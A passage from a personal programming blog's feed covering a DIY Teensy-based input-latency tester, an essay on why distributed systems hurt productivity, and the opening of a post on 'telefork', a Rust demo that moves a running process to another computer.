lat i= 35.8 +/-   7.0, a= 34, d= 33 (n= 73,q= 48) |   9___        | apple terminal
lat i= 35.1 +/-   2.5, a= 34, d= 32 (n= 35,q= 52) |   9_          | apple terminal vim
lat i= 50.4 +/-   3.9, a= 50, d= 49 (n= 60,q=269) |   _59         | alacritty
lat i= 36.1 +/-   5.6, a= 35, d= 34 (n= 78,q=199) |   9__         | kitty
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;how-to-make-one&quot;&gt;How to make one&lt;/h2&gt;

&lt;p&gt;Here’s the parts list I used:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;$12&lt;/strong&gt;: A &lt;a href=&quot;https://www.pjrc.com/teensy/teensyLC.html&quot;&gt;Teensy LC&lt;/a&gt; or any other Teensy 3+. You could also use an Arduino, but the Teensy’s USB library uses 1000hz polling (1ms latency) while most USB devices default to 125hz (an extra 8ms of random latency in your measurements). It’s possible you may be able to get your microcontroller of choice to do 1000hz polling though. If you don’t want to have to solder the pins, buy one with pre-soldered pins, this might require getting the more expensive Teensy 3 if you want Amazon Prime shipping.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;$12&lt;/strong&gt;: A &lt;a href=&quot;https://www.amazon.com/gp/product/B01N1FKS4L/ref=ppx_yo_dt_b_asin_title_o03_s01?ie=UTF8&amp;amp;psc=1&quot;&gt;light sensor module&lt;/a&gt; (Amazon only has 10 packs, I only used 1). You could make your own circuit for this but these modules save a lot of time and are easy to integrate.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;$13&lt;/strong&gt;: A &lt;a href=&quot;https://www.amazon.com/gp/product/B07SBZRF6S/ref=ppx_yo_dt_b_asin_title_o02_s00?ie=UTF8&amp;amp;psc=1&quot;&gt;helping hand&lt;/a&gt; to hold the light sensor up to your screen in a stable position.&lt;/li&gt;
  &lt;li&gt;A button/switch of some kind to trigger testing&lt;/li&gt;
  &lt;li&gt;Wires to connect the light sensor, Teensy, and button&lt;/li&gt;
  &lt;li&gt;Electrical tape to make a black soft shield to restrict the view of the sensor&lt;/li&gt;
  &lt;li&gt;A USB micro-B cable to connect the Teensy to your computer&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There’s an awful lot of flexibility in exactly how you assemble it. You just need to somehow connect 3 wires (3V, ground, analog out) from the light sensor module to the corresponding pins on the Teensy (3V, ground and any analog-capable pin). The easiest way to do this which doesn’t even require any soldering if you buy a Teensy with pre-soldered header pins is to use 3 &lt;a href=&quot;https://www.amazon.com/Uxcell-a16072600ux1043-Female-Jumper-Breadboard/dp/B01M1CDI7M/ref=sr_1_8&quot;&gt;female to female jumper wires&lt;/a&gt;. Then you just need some kind of switch to activate the latency test where you wire one pin to ground on the Teensy and another pin to a digital IO pin. This can be as simple as two wires that you touch together if you’re really lazy!&lt;/p&gt;

&lt;p&gt;To make sure the light sensor module only sees a limited area of the screen I wrapped the sensor in a little cylinder of electrical tape and snipped off the end cleanly with scissors. This made a little round window I could press up against the screen with the helping hand to minimize outside interference and get the cleanest signal.&lt;/p&gt;

&lt;p&gt;I had already made a &lt;a href=&quot;https://twitter.com/trishume/status/950585012700684288&quot;&gt;foot pedal box&lt;/a&gt; with a Teensy LC and a little breadboard inside, and it had an extra &lt;a href=&quot;https://www.cablechick.com.au/blog/understanding-trrs-and-audio-jacks/&quot;&gt;TRRS jack&lt;/a&gt; on the side I had put on anticipating this sort of project, so for me the project was soldering the light sensor module to a TRRS cable. Then I could just use one of my existing foot pedals to control the testing!&lt;/p&gt;

&lt;p&gt;For the soldering I was in luck since I had conveniently bought magnetic helping hands for the project which I could use for the soldering process. Inconveniently I realized that I actually didn’t own many substantial chunks of iron for them to attach to, so I ended up using a cast iron pan when soldering and &lt;a href=&quot;/2019/03/03/my-tungsten-cube/&quot;&gt;my tungsten cube&lt;/a&gt; when on my desk (which turns out to be slightly ferromagnetic).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/latencytester/soldering.jpeg&quot; alt=&quot;Soldering&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I encourage you to have fun and try to make something fancier than just dangling jumper wires. For my foot pedal box I bought a plastic project box from a local electronics shop, used a drill press to put some holes in the sides and installed large and small headphone jacks and a little breadboard so I could reconfigure how things connect. There’s tons of foot pedals on Amazon for tattoo machines and electric pianos that use 1/4” phone plugs that you can pick and choose from. &lt;a href=&quot;https://www.amazon.com/Casio-SP3-SP-3-Sustain-Pedal/dp/B00070E8I8/ref=sr_1_3?&quot;&gt;These&lt;/a&gt; are my favorites for feel and silence but there are cheaper options that can be unreliable, hard to press or loud.&lt;/p&gt;

&lt;p&gt;I wouldn’t recommend following my use of a TRRS jack for the sensor module though, they’re nice and small and there’s lots of cables available, but I used them before I realized the problem that they cause a lot of shorting of different connections when plugging and unplugging. I tried to minimize this by putting power and ground on opposite ends, but you should consider some better cable type like maybe a &lt;a href=&quot;https://en.wikipedia.org/wiki/Registered_jack&quot;&gt;phone cable&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/latencytester/pedal_box.jpeg&quot; alt=&quot;Pedal box insides&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-firmware&quot;&gt;The firmware&lt;/h2&gt;

&lt;p&gt;I didn’t write the fanciest possible firmware to find the beginning and ending of the transition, but I put a bit of effort into tweaking it to work well and adding various features so I recommend starting with my firmware. Install the &lt;a href=&quot;https://www.pjrc.com/teensy/teensyduino.html&quot;&gt;Teensyduino&lt;/a&gt; software and then you can use &lt;a href=&quot;https://gist.github.com/trishume/bbdae75792d2888708a01d5625fa9229&quot;&gt;my latency tester Arduino sketch&lt;/a&gt; which also doubles as foot pedal box code but you can comment that stuff out and configure it to use the right pins. Then just long press your switch to take samples and short press to type out the results!&lt;/p&gt;

</content>
 </entry>
 
 
 
 <entry>
   <title>Fragile narrow laggy asynchronous mismatched pipes kill productivity</title>
   <link href="https://thume.ca/2020/05/17/pipes-kill-productivity/"/>
   <updated>2020-05-17T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/05/17/pipes-kill-productivity</id>
   <content type="html">
&lt;p&gt;Something I’ve been thinking about recently is how when I’ve worked on any kind of distributed system, including systems as simple as a web app with frontend and backend code, probably upwards of 80% of my time is spent on things I wouldn’t need to do if it weren’t distributed. I came up with the following description of why I think this kind of programming requires so much effort: Everything is fragile narrow laggy asynchronous mismatched untrusted pipes. I think every programmer who’s worked on a networked system has encountered each of these issues, this is just my effort to coherently describe all of them in one place. I hope to prompt you to consider all the different hassles at once and think about how much harder/easier your job would be if you did/didn’t have to deal with these things. I think this is part of why web companies like Twitter seem to have so much lower impressiveness per engineer productivity than other places like game companies or SpaceX, although there’s other pieces to that puzzle. While part of the difficulty of distributed systems is inherent in physics, I think there’s lots of ideas for making each part of the problem easier, many already in common use, and I’ll try to mention lots of them. I hope that we as programmers continually develop more of these techniques and especially general implementations that simplify a problem. Like serialization libraries reducing the need for hand-written parsers/writers, I think there’s a lot of developer time out there to save by implementing generalized solutions where we currently painstakingly reimplement common patterns. I also think all these costs mean you should try &lt;em&gt;really hard&lt;/em&gt; to avoid making your system distributed if you don’t have to.&lt;/p&gt;

&lt;p&gt;I’ll go over each piece in detail, but briefly, whenever we introduce a network connection we usually have to deal with something that is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Fragile&lt;/strong&gt;: The network connection or the other end can have hardware failures, these have different implications but both manifest as just a timeout. Everything needs to handle failure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Narrow&lt;/strong&gt;: Bandwidth is limited so we need to carefully design protocols to only send what they need.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Laggy&lt;/strong&gt;: Network latency is noticeable so we need to carefully minimize round-trips.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Asynchronous&lt;/strong&gt;: Especially with &amp;gt;2 input sources (UIs count) all sorts of races and edge cases can happen and need to be thought about and handled.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Mismatched&lt;/strong&gt;: It’s often not possible to upgrade all systems atomically, so you need to handle different ends speaking different protocol versions.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Untrusted&lt;/strong&gt;: If you don’t want everything to be taken down by one malfunction you need to defend against invalid inputs and being overwhelmed. Sometimes you also need to defend against actual attackers.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Pipes&lt;/strong&gt;: Everything gets packed as bytes so you need to be able to (de)serialize your data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All of these things can be mostly avoided when programming things that run on one computer, that is unless you end up optimizing performance and realizing your computer is actually a distributed system of cores and some of them come back. Some domains manage to avoid some of these but I’ve experienced subsets of these problems working on &lt;a href=&quot;https://thume.ca/resume&quot;&gt;web apps, self-driving cars, a text editor, and high-performance systems&lt;/a&gt;, they’re everywhere.&lt;/p&gt;

&lt;p&gt;This isn’t even all the problems, just things about the network. Tons of effort is also expended on things like how various bottlenecks often entail a complicated hierarchy of caches that need to be kept in sync with the underlying data store.&lt;/p&gt;

&lt;p&gt;One way you can avoid all this is to just not write a distributed system. There are plenty of cases you can do this and I think it’s worthwhile to try way harder than some people do to pack everything into one process. However past a certain point of reliability or scale, physics means you’re going to have to use multiple machines (unless you want to go the mainframe route).&lt;/p&gt;

&lt;h2 id=&quot;fragile&quot;&gt;Fragile&lt;/h2&gt;

&lt;p&gt;As you connect machines or increase reliability goals, the strategy of just crashing everything when one piece crashes (what multi-threaded/multi-core systems do) becomes increasingly unviable. Hardware will fail, wireless connections drop, entire data centers have their power or network taken out by &lt;a href=&quot;https://en.wikipedia.org/wiki/Electrical_disruptions_caused_by_squirrels&quot;&gt;squirrels&lt;/a&gt;. Some domains like customers with flaky internet also inevitably entail frequent connection failure.&lt;/p&gt;

&lt;p&gt;In practice you need to write code to handle the failure cases and think carefully about what they are and what to do. This gets worse when merely noting the failure would drop important data, and you need to implement redundancy of data storage or transmission. Even worse, both another machine failing and a network connection breaking become visible just as some expected network packet not arriving after “too long”, introducing not only a delay but an ambiguity that can result in &lt;a href=&quot;https://en.wikipedia.org/wiki/Split-brain_(computing)&quot;&gt;split-brain issues&lt;/a&gt;. Often something like TCP implements it for you but sometimes you have to implement your own heartbeating to periodically check that another system is still alive.&lt;/p&gt;

&lt;p&gt;Attempts to make this easier include exceptions, TCP, concensus protocols and off-the-shelf redundant databases, but no solution eliminates the problem everywhere. One of my favourite attempts is &lt;a href=&quot;https://rollout.io/blog/linking-monitoring-and-supervising-in-elixir/&quot;&gt;Erlang’s process linking, monitoring and supervising&lt;/a&gt; which offers a philosophy that attempts to coalesce all sorts of failures into one easier to handle general case.&lt;/p&gt;

&lt;h2 id=&quot;narrow&quot;&gt;Narrow&lt;/h2&gt;

&lt;p&gt;Network bandwidth is often limited, especially over consumer or cellular internet. It may seem like this isn’t a limitation very often because you rarely hit bandwidth limits, but that’s because limited bandwidth is ingrained into everything you do. Whenever you design a distributed system you need to come up with a communication protocol that communicates on the order of what’s necessary rather than on the order of the total size of your data.&lt;/p&gt;

&lt;p&gt;In a multi-threaded program, you might just pass a pointer to gigabytes of immutable or locked data for a thread to read what it wants from and not think anything of it. In a distributed system passing the entire memory representing your database is unthinkable and you need to spend time implementing other approaches.&lt;/p&gt;

&lt;p&gt;Although actually multi-core systems are a certain kind of distributed system and they employ &lt;a href=&quot;https://en.wikipedia.org/wiki/MESI_protocol&quot;&gt;protocols&lt;/a&gt; behind the scenes to transfer only the data that’s necessary, but involve many more broadcasts and round trips than would be viable with most networks. I actually think trying to apply techniques used to make multi-core machines seamless to distributed systems is a good way to think of &lt;a href=&quot;https://dl.acm.org/doi/pdf/10.14778/3236187.3236209&quot;&gt;neat solutions&lt;/a&gt; that might be much more general than you’d otherwise design. Similarly once you really start optimizing systems hard you notice that bandwidth inside your computer becomes a constraint too.&lt;/p&gt;

&lt;p&gt;Dealing with low bandwidth usually involves a message type for each query or modification to a shared data structure, and deciding when to ship over more data so local interactions are faster, or less data to avoid terrible bandwidth cases. It often goes further to various types of replicated state machine where each peer updates a model based on a replicated stream of changes, because sending the new model after every update would be too much bandwidth. Examples of this include &lt;a href=&quot;https://www.gamasutra.com/view/feature/131503/1500_archers_on_a_288_network_.php&quot;&gt;RTS games&lt;/a&gt; to &lt;a href=&quot;https://support.kraken.com/hc/en-us/articles/360027821131-How-to-maintain-a-valid-order-book-&quot;&gt;exchange&lt;/a&gt; &lt;a href=&quot;https://www.nasdaqtrader.com/content/technicalsupport/specifications/dataproducts/NQTVITCHspecification.pdf&quot;&gt;feeds&lt;/a&gt;. However maintaining determinism and consistency in how each peer updates its state to avoid desyncs can be tricky, especially if different peers have different languages or software versions. You also often end up implementing a separate protocol for streaming a full snapshot, because replaying events from the beginning of time when connecting isn’t viable.&lt;/p&gt;

&lt;p&gt;Attempts to make this easier include RPC libraries just making it easier to send lots of different message types for different queries and updates rather than shipping data structures, caching libraries, and compression. Cool but less commonly used systems include things like &lt;a href=&quot;https://hackingdistributed.com/2013/12/26/introducing-replicant/&quot;&gt;Replicant&lt;/a&gt; that ensure synchronized state machine code and update streams on many devices to make replicated state machines easier and less fraught.&lt;/p&gt;

&lt;h2 id=&quot;laggy&quot;&gt;Laggy&lt;/h2&gt;

&lt;p&gt;One network round trip can’t be a problematic latency or you need better networking hardware or a different problem to solve. The difficulties come from avoiding implementing your solution in a way that needs too many network round trips. This can lead to needing to implement special combo-messages that do a sequence of operations on the server instead of just providing smaller primitive messages.&lt;/p&gt;

&lt;p&gt;The web, with its especially large latencies, has had lots of problems of this type such as only having the font/image URLs after loading the HTML, or REST APIs that require multiple chained calls to get the IDs needed for the next. Lots of things have been built for these problems like resource inlining, &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP/2_Server_Push&quot;&gt;HTTP/2 server push&lt;/a&gt; and &lt;a href=&quot;https://graphql.org/&quot;&gt;GraphQL&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;A cool somewhat general solution is &lt;a href=&quot;https://capnproto.org/news/2013-12-13-promise-pipelining-capnproto-vs-ice.html&quot;&gt;Cap’n Proto promise pipelining&lt;/a&gt; and other systems that involve essentially shipping a chain of steps to perform to the other end (like SQL). These systems essentialy send a limited type of program to perform on the server. Unfortunately you often run into the limitations of the language used, like you can’t add 1 to your Cap’n Proto result before passing it to a new call without a round trip. But if you make your language too powerful you can run into problems with the code you’re shipping overloading the server or being too big. Just adding a multi-step message for your use case is pretty easy if you control both ends, but can be harder if the other end is a company’s API for third parties, or even just owned by a different team at a big company, and those are the cases where they tend not to want to run your programs on their server. I think there’s lots more avenue for exploration here in terms of new approaches to sending segments of code while re-using sent code to save bandwidth and limiting the potential for it to do damage.&lt;/p&gt;

&lt;p&gt;Another solution that can work in a data center is to use better networking. You can get &lt;a href=&quot;https://www.mellanox.com/products/ethernet-adapters/connectx-6dx&quot;&gt;network&lt;/a&gt; &lt;a href=&quot;https://exablaze.com/exanic-x25&quot;&gt;cards&lt;/a&gt; with &lt;a href=&quot;https://docs.microsoft.com/en-us/azure/virtual-machines/workloads/hpc/hc-series-performance&quot;&gt;2us latencies and 100Gbps bandwidths&lt;/a&gt; or better, but basically only HPC, simulations and finance use them. However these just reduce the constant factor and don’t save you if your approach takes O(n) round trips.&lt;/p&gt;

&lt;h2 id=&quot;asynchronous&quot;&gt;Asynchronous&lt;/h2&gt;

&lt;p&gt;As soon as you have 2+ sources of events that aren’t synchronized then you start worrying about race conditions. This can be multiple servers, or just a web app with both user input and a channel to the server. There’s always uncommon orderings like the user clicking the “Submit” button a second time before the next page loads. Sometimes you get lucky and the design of your system means that’s fine, other times it’s not and you either fix it to handle that case or get bug reports from customers who were billed twice. The more asynchrony the more cases you have to either think about or solve with an elegant design which precludes bad states.&lt;/p&gt;

&lt;p&gt;Depending on your language/framework, asynchrony can also entail a change to the way you normally write code that makes everything bloated and uglier. Lots of systems used to and still do require you to use callbacks everywhere, sometimes without even providing you closures, making your code an enormous mess. Many languages have gotten better at this with features like &lt;a href=&quot;https://en.wikipedia.org/wiki/Async/await&quot;&gt;async/await&lt;/a&gt; or coroutines with small stack like &lt;a href=&quot;https://tour.golang.org/concurrency/1&quot;&gt;Go&lt;/a&gt;, or just using threads and blocking I/O. Unfortunately some of these solutions introduce &lt;a href=&quot;https://journal.stuffwithstuff.com/2015/02/01/what-color-is-your-function/&quot;&gt;function color problems&lt;/a&gt; where introducing asynchrony requires making changes throughout your codebase.&lt;/p&gt;

&lt;p&gt;Asynchrony edge cases are a reasonably fundamental problem, but there’s lots of available patterns for solving different kinds of asynchrony. Examples include concurrency primitives like locks and barriers, protocol design ideas like &lt;a href=&quot;https://en.wikipedia.org/wiki/Idempotence&quot;&gt;idempotency&lt;/a&gt;, and fancier things like &lt;a href=&quot;https://en.wikipedia.org/wiki/Conflict-free_replicated_data_type&quot;&gt;CRDTs&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;mismatched&quot;&gt;Mismatched&lt;/h2&gt;

&lt;p&gt;Usually it’s not possible to upgrade every component of a distributed system atomically when you want to change a protocol. This runs from communicating server clusters that must run 24/7 to users who have an old version of your web page loaded in a tab. This means for some time you’ll have systems that want to talk a newer protocol version communicating with systems that only know an older protocol. This is just a problem you need to solve and there’s two broad classes of common solutions with many subtypes:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Have the new software version be able to speak both the old and new protocol version and negotiate to use the new version with upgraded peers, either by maintaining both implementations or mapping the old handlers onto the new ones.&lt;/li&gt;
  &lt;li&gt;Use data structures that provide some degree of compatibility for free, then only upgrade your protocol in those ways. For example unrecognized fields in JSON objects are usually ignored so can be used for new functionality when recognized. Migrations can usually add new columns to a database table without it breaking queries. Then you usually go to great lengths to shoehorn every change into being this type of compatible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The problem with both these cases is the first steps usually accumulate technical debt in the form of code paths to handle cases (for example of missing fields) that will never come up once all peers are upgraded past the protocol change. This usually entails multi-stage rollouts, for example introduce a new field as optional, roll out the new version everywhere, change the field to be mandatory now that all clients send it, do another rollout. I’ve definitely spent a lot of time planning multi-stage rollouts when I’ve wanted to change protocols used by multiple systems without leaving a mess.&lt;/p&gt;

&lt;p&gt;There’s lots of things that help with both of these approaches, both serialization systems that provide lots of compatible upgrade paths like &lt;a href=&quot;https://developers.google.com/protocol-buffers&quot;&gt;Protobufs&lt;/a&gt;, to various &lt;a href=&quot;https://yave.handmade.network/blogs/p/2723-how_media_molecule_does_serialization&quot;&gt;patterns for deserializing/upgrading old type versions&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;untrusted&quot;&gt;Untrusted&lt;/h2&gt;

&lt;p&gt;Not only can your data fail to arrive but your system can recieve data that might actively harm it. Systems have bugs which cause invalid messages to be sent, so inputs need to be carefully validated and errors returned, not only at the serialization level but the business logic level. Bugs or new loads can cause systems to send messages faster than they can be handled, necessitating backpressure and limits. You may even have to defend against attackers who actively try and subvert your system by sending messages that would never be sent by your usual counterparties and &lt;a href=&quot;https://www.anchor.com.au/blog/2012/12/how-to-explain-hash-dos-to-your-parents-by-using-cats/&quot;&gt;intelligently seek out edge cases&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here too we have lots of patterns including rate limits, field validation logic and channels with built in backpressure. On the security side we also have a field of things like encryption, certificates and fuzzing. We’ve also gotten better at being general here as we’ve reduced prevalence of manual patterns like ensuring we always escape interpolated strings in SQL and HTML, with more general patterns like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; query parameters and templating systems which always apply escaping.&lt;/p&gt;

&lt;h2 id=&quot;pipes&quot;&gt;Pipes&lt;/h2&gt;

&lt;p&gt;Last and mostly least, everything has to be a stream of bytes or packets of bytes. This means you need to take your nice data structures that your language makes easy to manipulate and pack them into a different form from their in-memory representation in order to send on the wire. Luckily except in very few places easy &lt;a href=&quot;https://serde.rs/&quot;&gt;serialization&lt;/a&gt;/&lt;a href=&quot;https://grpc.io/&quot;&gt;RPC&lt;/a&gt; libraries have made this pretty easy, if occasionally somewhat slow. You can also sometimes use methods that allow you to pick out exactly the parts you want from the byte buffers without transforming it to a different representation, perhaps by casting your buffer pointer to a C structure pointer (when that’s even close to safe-ish), or using something like &lt;a href=&quot;https://capnproto.org/&quot;&gt;Cap’n Proto&lt;/a&gt; that can generate accessors.&lt;/p&gt;

&lt;p&gt;This is probably the one I’ve spent the least time fighting, but one case I can remember was when I wanted to send a large data structure, but the available serialization system could only serialize it all at once rather than streaming it packet by packet as the socket could accept it, and I didn’t want to block my server for a long time doing the entire thing, creating tail latency. I ended up choosing a different design, but I could also have written custom code to break my data structure up into chunks and send it a little bit at a time.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I suspect many responses to this post will be of the form “Actually {some/all of these problems} are trivial if you just {do some thing that isn’t universally applicable, is time consuming or has its own issues, possibly something I mentioned, if so probably using Erlang} and the real problem is that other people are bad at programming unlike people in the good old days”. There are lots of things that help, and there is a skill component in knowing about good solutions, choosing the right ones, and implementing them effectively. However these are still hard problems and people have to make difficult real tradeoffs because we haven’t solved them effectively enough. Maybe you would have taken a different side of the tradeoff but people make these technology decisions for real reasons and we should strive to reduce the costs, as well as improving decisions over which costs we accept.&lt;/p&gt;

&lt;p&gt;I just can’t use Erlang for most projects I do because they require either extremely low latency, integration with some part of a non-Erlang ecosystem, or they’re too computationally intensive (yes I know about &lt;a href=&quot;http://erlang.org/doc/tutorial/nif.html&quot;&gt;NIFs&lt;/a&gt;). This means there’s ample opportunity for productivity improvements just by bringing solutions from one domain and implementing them in another domain or making them faster! I love seeing &lt;a href=&quot;https://github.com/constellation-rs/constellation&quot;&gt;efforts&lt;/a&gt; to &lt;a href=&quot;https://akka.io/&quot;&gt;bring&lt;/a&gt; Erlang’s benefits to &lt;a href=&quot;https://github.com/gleam-lang/gleam&quot;&gt;more&lt;/a&gt; &lt;a href=&quot;https://phoenixframework.org/&quot;&gt;areas&lt;/a&gt;. And even Erlang doesn’t solve all of these problems to the extent I believe it’s possible to one day address them.&lt;/p&gt;

&lt;p&gt;I think one of the real biggest hammers you can take to these problems is just to try &lt;em&gt;really hard&lt;/em&gt; to avoid writing a distributed system in the first place. One of my goals for this post is to inspire people to try to develop more general solutions instead of having to repeatedly implement specific patterns, but my other goal is to try and put all the costs in your face at once and say &lt;em&gt;are you sure adding that separate networked system will really make your job easier?&lt;/em&gt; Sometimes a distributed system is unavoidable, such as if you want extreme availability or computing power, but other times it’s totally avoidable. To pick specific examples:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I think people should be more willing to try and write performance-sensitive code as a (potentially multi-threaded) process on one machine in a fast language if it’ll fit rather than try and distribute a slower implementation over multiple machines. I acknowledge that this takes time and effort to learn how to do and optimize, but it’ll pay off in a simpler system.
    &lt;ul&gt;
      &lt;li&gt;In particular I think people should be more aggressive about trying to use multi-threading on a really big computer when possible. I personally find multi-threaded programming in &lt;a href=&quot;https://www.rust-lang.org/&quot;&gt;Rust&lt;/a&gt; way easier than parallelizing with multiple processes when it’s viable. Some problems like asynchrony are similar but others like serialization, latency and bandwidth largely go away except at performance levels way higher than you’d probably get out of a hypothetical distributed version.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;I think people should be more willing to use C FFI to bind to libraries in other languages rather than putting them in a separate networked service (&lt;a href=&quot;https://github.com/sourcegraph/syntect_server&quot;&gt;example&lt;/a&gt; picking on users of my own library, although I don’t actually know what their constraints were). Yes you have to learn how to do C FFI and deal with unsafety, but I’d take that trade to avoid the network service.&lt;/li&gt;
  &lt;li&gt;There are reasons people choose to split things into separate services other than availability and parallelism. For example ability to deploy updates quickly without coordinating with another team, fast CI, using a different language, isolation.
    &lt;ul&gt;
      &lt;li&gt;We should build more alternatives that don’t involve separate systems, like tools for using auto-updating hot-reloaded dynamically linked libraries with sandboxing instead of microservices (eliminating “narrow”, “laggy” and “asynchronous”). I’m pretty sure at least one instance of hot-reloading dylib updates pushed over the network exists (I’d appreciate links!) but we’re far from availability of excellent implementations in many languages and in the mean time it isn’t a viable alternative for most people considering adding a microservice to build this themselves.&lt;/li&gt;
      &lt;li&gt;Better tools for continuous integration, continuous deployment, isolation, and monorepos can reduce the incentive to split off services to reduce iteration cycle time.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I follow Jonathan Blow’s &lt;a href=&quot;https://twitter.com/Jonathan_Blow&quot;&gt;Twitter&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/user/jblow888&quot;&gt;streams&lt;/a&gt; and end up with mixed feelings. On the one hand I resonate with his feeling that modern software is way more complex than it needs to be and like the aesthetic and focus on performance and compile time power embodied in his language. On the other hand when he rants about how modern programmers just don’t know how to do things the Good Old Ways™ and need to stop making terrible design choices to be productive, I can’t help but think back to how I as one person have both been what he considers terribly unproductive working on web systems, and productive and effective when writing fast systems in his preferred style. It’s not that I just made terrible decisions sometimes but not other times, or was unaware of systems programming or data oriented design, it’s that I was facing different tradeoffs that forced me to make a distributed system and face a bunch of unproductive challenges that aren’t fully solved. The distributed systems I work on nowadays are low level, very fast, minimize layers of complexity, and my coworkers are extremely skilled. If anything, I’m less productive per similar-sounding feature when I work on these distributed systems than I was when I was programming in Ruby on Rails, because there’s less available tooling than for Rails. Most of my effort still goes into addressing the same distributed systems problems, which you just have to deal with less when programming a game. I agree with him that it’s totally possible for things to be better and dramatically less complex, but people decide to use established technologies because they don’t have the luxury of taking the time to write their ideal platform from scratch first. That’s why I’m so excited when people like him work to develop new tools like his language. I think even if everybody suddenly knew all his favorite game developer skills, more people would have the ability to build new types of tools, but until those tools were built, creating distributed systems would remain hard and unproductive. Also to make sure I tick off Blow fans and haters alike I should say that I recommend watching some of his streams, I think he’s really interesting, skilled and worth listening to, despite his abrasiveness and strong opinions. I find “what about this design would Jonathan Blow yell about being terrible” a good lens to help me come up with interesting alternatives.&lt;/p&gt;

&lt;p&gt;Anyhow, I hope this leads you to think about the ways that your work could be more productive if you had better tools to deal with distributed systems, and what those might be. Alternatively I hope it prompts you to seriously consider the costs of writing distributed systems and what you can do to bend all the tradeoffs in your area of the programming world more towards non-distributed systems. Also try to think about what reasons people might not appear to you to be as good at developing software as you are with your Chosen Technology™ and how you can understand the constraints and tradeoffs they are dealing with and what solutions might shift the balance.&lt;/p&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Teleforking a process onto a different computer!</title>
   <link href="https://thume.ca/2020/04/18/telefork-forking-a-process-onto-a-different-computer/"/>
   <updated>2020-04-18T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/04/18/telefork-forking-a-process-onto-a-different-computer</id>
   <content type="html">
&lt;p&gt;One day a coworker mentioned that he was thinking about APIs for distributed compute clusters and I jokingly responded “clearly the ideal API would be simply calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork()&lt;/code&gt; and your process wakes up on every machine of the cluster with the return value being the instance ID”. I ended up captivated by this idea: I couldn’t get over how it was clearly silly, yet way easier than any remote job API I’d seen, and also seemingly not a thing computers could do. I also kind of knew how I could do it, and I already had a good name which is the hardest part of any project, so I got to work.&lt;/p&gt;

&lt;p&gt;In one weekend I had a basic prototype, and in another weekend I had a demo where I could &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; a process to a giant VM in the cloud, run a path tracing render job on lots of cores, then telefork the process back, all wrapped in a simple API.&lt;/p&gt;

&lt;p&gt;Here’s a video of it running a render on a 64 core cloud VM in 8 seconds (plus 6s each for the telefork there and back). The same render takes 40s running locally in a container on my laptop:&lt;/p&gt;

&lt;video controls=&quot;&quot; width=&quot;660&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/assets/postassets/telefork/telefork-small.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos.
&lt;/video&gt;

&lt;p&gt;How is it possible to teleport a process? That’s what this article is here to explain! The basic idea is that at a low level a Linux process has only a few different parts, and for each of them you just need a way to retreive it from the donor, stream it over the network, and copy it into the cloned process.&lt;/p&gt;

&lt;p&gt;You may be thinking, “but wait, how can you replicate [some reasonable thing like a TCP connection]?” Basically I just don’t replicate tricky things so that I could keep it simple, meaning it’s &lt;strong&gt;just a fun tech demo&lt;/strong&gt; you probably shouldn’t use for anything real. It can still teleport a broad class of mostly computational programs though!&lt;/p&gt;

&lt;h2 id=&quot;what-does-it-look-like&quot;&gt;What does it look like&lt;/h2&gt;

&lt;p&gt;I wrote it as a Rust library but in theory you could wrap it in a C API and then use it via FFI bindings to teleport even a Python process. &lt;a href=&quot;https://github.com/trishume/telefork&quot;&gt;The implementation&lt;/a&gt; is only about 500 lines of code (plus 200 lines of comments) and you use it like this:&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;telefork&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;telefork&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TeleforkLocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

